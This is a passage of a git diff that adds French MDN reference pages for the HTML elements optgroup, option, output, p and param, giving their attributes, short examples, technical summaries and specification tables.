+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ol-element', '&lt;ol&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation W3C {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-ol-element", "HTMLOListElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ajout des attributs <code>reversed</code> et <code>start</code>. L'attribut <code>type</code> n'est plus déprécié.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.2', '&lt;ol&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Dépréciation des attributs <code>compact</code> et <code>type</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.ol")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux listes :
+  <ul>
+   <li>{{HTMLElement("ul")}}</li>
+   <li>{{HTMLElement("li")}}</li>
+   <li>{{HTMLElement("menu")}}</li>
+   <li>l'élément {{HTMLElement("dir")}} qui est obsolète</li>
+  </ul>
+ </li>
+ <li>Les propriétés CSS pouvant servir à la mise en forme de l'élément <code>&lt;ol&gt;</code> :
+  <ul>
+   <li>{{cssxref("list-style")}} qui permet de choisir comment les nombres ordinaux sont affichés,</li>
+   <li><a href="/fr/docs/Web/CSS/Compteurs_CSS">Les compteurs CSS</a>, utiles pour gérer les listes imbriquées complexes,</li>
+   <li>{{cssxref("line-height")}} qui permet d'obtenir le même effet que l'attribut {{htmlattrxref("compact", "ol")}} qui est déprécié,</li>
+   <li>{{cssxref("margin")}} qui permet de contrôler l'indentation de la liste.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/optgroup/index.html b/files/fr/web/html/element/optgroup/index.html
new file mode 100644
index 0000000000..34e30cad93
--- /dev/null
+++ b/files/fr/web/html/element/optgroup/index.html
@@ -0,0 +1,128 @@
+---
+title: <optgroup>
+slug: Web/HTML/Element/Optgroup
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/optgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;optgroup&gt;</code></strong>, utilisé dans un formulaire, permet de créer un groupe d'options parmi lesquelles on peut choisir dans un élément {{HTMLElement("select")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/optgroup.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<div class="note">
+<p><strong>Note :</strong> Il n'est pas possible d'imbriquer plusieurs éléments <code>&lt;optgroup&gt;</code> entre eux.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Si cet attribut booléen est défini et aucun élément du groupe d'options ne peut être sélectionné. Cet élément ne recevra pas les évènements de navigation (tels que les clics ou les changements de focus). Les navigateurs affichent ces éléments en les grisant.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Le nom du groupe d'options qui peut être affiché par le navigateur. Cet attribut est obligatoire.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;select&gt;
+  &lt;optgroup label="Groupe 1"&gt;
+    &lt;option&gt;Option 1.1&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Groupe 2"&gt;
+    &lt;option&gt;Option 2.1&lt;/option&gt;
+    &lt;option&gt;Option 2.2&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Groupe 3" disabled&gt;
+    &lt;option&gt;Option 3.1&lt;/option&gt;
+    &lt;option&gt;Option 3.2&lt;/option&gt;
+    &lt;option&gt;Option 3.3&lt;/option&gt;
+  &lt;/optgroup&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("option")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire, la balise de fin est optionnelle si l'élément est immédiatement suivi par un autre élément &lt;optgroup&gt; ou si l'élément parent n'a pas d'autre contenu.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("select")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLOptGroupElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.optgroup")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("option")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/option/index.html b/files/fr/web/html/element/option/index.html
new file mode 100644
index 0000000000..ce46a66540
--- /dev/null
+++ b/files/fr/web/html/element/option/index.html
@@ -0,0 +1,120 @@
+---
+title: <option>
+slug: Web/HTML/Element/Option
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/option
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;option&gt;</code></strong>, utilisé dans un formulaire, permet de représenter un contrôle au sein d'un élément {{HTMLElement("select")}}, {{HTMLElement("optgroup")}} ou {{HTMLElement("datalist")}}. Cet élément peut donc représenter des éléments d'un menu dans un document HTML.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/option.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Si cet attribut booléen est défini, l'option ne peut pas être sélectionnée. Généralement, les navigateurs affichent l'option grisée et celle-ci ne reçoit pas les évènements de navigation (liés aux clics ou au focus par exemple). Si cet attribut n'est pas défini, l'élément peut tout de même être désactivé si un de ses ancêtres est un élément {{HTMLElement("optgroup")}} désactivé.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>La valeur de cet attribut correspond au texte affiché pour expliquer l'option. Si cet attribut n'est pas défini, sa valeur correspondra à celle du texte contenu dans l'élément.</dd>
+ <dt>{{htmlattrdef("selected")}}</dt>
+ <dd>S'il est présent, cet attribut booléen indique que l'option est sélectionnée à l'état initial. Si l'élément <code>&lt;option&gt;</code> est un élément descendant d'un élément {{HTMLElement("select")}} dont l'attribut {{htmlattrxref("multiple", "select")}} n'est pas activé, seul une <code>&lt;option&gt;</code> de cet élément {{HTMLElement("select")}} peut être sélectionnée de cette façon.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Le contenu de cet attribut représente la valeur qu'on souhaite envoyer au formulaire lorsque l'option est sélectionnée. Si cet attribut n'est pas défini, la valeur sera le contenu texuel de l'élément <code>&lt;option&gt;</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;select name="select"&gt;
+  Elle est où la poulette ?
+  &lt;option value="value1"&gt;Avec les lapins&lt;/option&gt;
+  &lt;option value="value2" selected&gt;Avec les canards&lt;/option&gt;
+  &lt;option value="value3"&gt;Pas là&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","320","50")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Du texte qui contient éventuellement des caractères échappés (par exemple <code>&amp;eacute;</code>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin est optionnelle si l'élément est immédiatement suivi par un autre élément <code>&lt;option&gt;</code> ou {{HTMLElement("optgroup")}} ou si l'élément parent n'a plus d'autre contenu.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("select")}}, {{HTMLElement("optgroup")}} ou {{HTMLElement("datalist")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles autorisés</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLOptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.option")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/output/index.html b/files/fr/web/html/element/output/index.html
new file mode 100644
index 0000000000..56ca6c1592
--- /dev/null
+++ b/files/fr/web/html/element/output/index.html
@@ -0,0 +1,115 @@
+---
+title: '<output> : l''élément de sortie'
+slug: Web/HTML/Element/output
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/output
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;output&gt;</code></strong> représente un conteneur dans lequel un site ou une application peut injecter le résultat d'un calcul ou d'une action utilisateur.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>Une liste d'<a href="/fr/docs/Web/HTML/Attributs_universels/id">identifiants </a>d'autres éléments, séparés par des espaces, qui ont joué un rôle dans le calcul (en tant que valeurs d'entrée ou autrement).</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>L'identifiant d'un élément de formulaire ({{HTMLElement("form")}}) auquel cet élément est rattaché. La valeur de cet attribut doit être un identifiant (<code>id</code>) d'un formulaire qui fait partie du même document. Cet attribut n'est pas nécessaire si l'élément <code>&lt;output&gt;</code> est situé dans un formulaire ou si l'élément <code>&lt;output&gt;</code> n'est pas du tout associé à un formulaire. Cet attribut permet ainsi de placer l'élément <code>&lt;output&gt;</code> où on veut dans le document, pas nécessairement comme descendant d'un formulaire.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom de l'élément, utilisé pour identifier l'élément <code>&lt;output&gt;</code> lors de l'envoi du formulaire.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le formulaire qui suit fournit un curseur dont la valeur peut aller de 0 à 100 ainsi qu'un élément {{HTMLElement("input")}} dans lequel on peut saisir un deuxième nombre. Les deux nombres sont additionnés et le résultat est affiché dans l'élément <code>&lt;output&gt;</code> et est actualisé lorsqu'une des deux valeurs est modifiée.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form oninput="result.value=parseInt(a.value)+parseInt(b.value)"&gt;
+    &lt;input type="range" name="b" value="50" /&gt; +
+    &lt;input type="number" name="a" value="10" /&gt; =
+    &lt;output name="result"&gt;60&lt;/output&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','300','200')}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_associ%C3%A9_aux_formulaires">contenu associé au formulaire (énuméré, étiquetable, réinitialisable)</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLOutputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.output")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La plupart des navigateurs implémente cet élément comme s'il avait l'attribut <code>aria-live</code> par défaut. Les outils d'assistance annonceront donc les résultats des interactions avec l'interface utilisateur qui arrivent sur cet élément sans demander à avoir passé le focus depuis un autre contrôle. Toutefois, ce comportement n'est pas précisément décrit dans les spécifications actuelles.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/p/index.html b/files/fr/web/html/element/p/index.html
new file mode 100644
index 0000000000..cda1cbf8d6
--- /dev/null
+++ b/files/fr/web/html/element/p/index.html
@@ -0,0 +1,138 @@
+---
+title: '<p> : l''élément paragraphe'
+slug: Web/HTML/Element/p
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/p
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;p&gt;</code></strong> représente un paragraphe de texte. Les paragraphes sont généralement représentés comme des blocs et séparés par un espace vertical, leur première ligne est également parfois indentée. Les paragraphes sont <a href="/fr/docs/Web/HTML/Éléments_en_bloc">des éléments blocs</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/p.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>Étant des éléments de bloc, les paragraphes se fermeront automatiquement si un autre élément de bloc est analysé avant la balise de fermeture <code>&lt;/p&gt;</code> (voir Omission de balises dans le tableau qui suit).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour modifier l'espacement entre les paragraphes, il faudra utiliser la propriété CSS {{cssxref("margin")}}. <em>Il ne faut pas insérer de paragraphes vides ou d'éléments {{HTMLElement("br")}} afin de créer un espace</em>.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément, comme les autres éléments HTML, inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'attribut <code>align</code> pour les balises <code>&lt;p&gt;</code> est obsolète et ne doit plus être utilisé.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Premier paragraphe du texte.
+  J'aime les licornes beaucoup
+  beaucoup beaucoup.
+&lt;/p&gt;
+
+&lt;p&gt;
+  Deuxième paragraphe du texte.
+  Et si j'en avais une apprivoisée
+  je serais très contente.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","150")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Répartir le contenu entre différents paragraphes permet d'améliorer l'accessibilité d'une page. Les lecteurs d'écran et autres outils d'assistance fournissent des raccourcis qui permettent aux utilisateurs d'accéder rapidement au paragraphe suivant ou précédent et ainsi de naviguer plus rapidement sur la page, comme le permettent les blancs pour la navigation visuelle des autres utilisateurs.</p>
+
+<p>L'utilisation de paragraphes vides (des éléments HTML <code>&lt;p&gt;</code> sans contenu) est problématique pour les personnes qui naviguent sur une page à l'aide d'outils d'assistance. Les lecteurs d'écran, par exemple, pourraient annoncer l'élément mais pas le contenu associé ce qui peut être frustrant ou source de confusion.</p>
+
+<p>S'il est nécessaire d'avoir un espace supplémentaire, on pourra utiliser des propriétés CSS comme {{cssxref("margin")}} pour obtenir l'effet désiré.</p>
+
+<pre class="brush: css">p {
+  margin-bottom: 2em; // on ajoute un espace après chaque paragraphe
+}
+</pre>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin peut être absente si l'élément {{HTMLElement("p")}} est immédiatement suivi d'un élément  {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} ou d'un autre élément {{HTMLElement("p")}} ou s'il n'y a plus de contenu dans l'élément parent et que l'élément parent n'est pas un élément {{HTMLElement("a")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLParagraphElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation depuis la spécification W3C {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Obsolescence de l'attribut <code>align</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.1', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition intiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.p")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/param/index.html b/files/fr/web/html/element/param/index.html
new file mode 100644
index 0000000000..d37ee46d9d
--- /dev/null
+++ b/files/fr/web/html/element/param/index.html
@@ -0,0 +1,116 @@
+---
+title: '<param> : l''élément paramètre d''un objet'
+slug: Web/HTML/Element/param
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/param
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;param&gt;</code></strong> définit les paramètres qui peuvent être employés dans un élément {{HTMLElement("object")}}.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom du paramètre</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Cet attribut définit la valeur du paramètre.</dd>
+</dl>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("type")}} {{obsolete_inline}}</dt>
+ <dd>Cet attribut est uniquement utilisé si l'attribut <code>valuetype</code> vaut <code>"ref"</code>. Il définit le type MIME des valeurs trouvées à l'URI.</dd>
+ <dt>{{htmlattrdef("valuetype")}} {{obsolete_inline}}</dt>
+ <dd>Cet attribut définit le type de la valeur indiquée par l'attribut <code>value</code>. Les valeurs possibles sont :
+ <ul>
+  <li><code>data</code> : la valeur par défaut. La valeur est passée sous la forme d'une chaîne de caractères.</li>
+  <li><code>ref</code> : la valeur est une URI vers une ressource où sont stockées les valeurs de l'exécution.</li>
+  <li><code>object</code> : l'identifiant d'un autre élément {{HTMLElement("object")}} dans le document.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;object data="animation.swf" type="application/x-shockwave-flash"&gt;
+  &lt;param name="param11" value="valeurConf"&gt;
+&lt;/object&gt; </pre>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>Cet élément est un élément vide, As it is a void element, the start tag must be present and the end tag must not be present.</td>
+  </tr>
+  <tr>
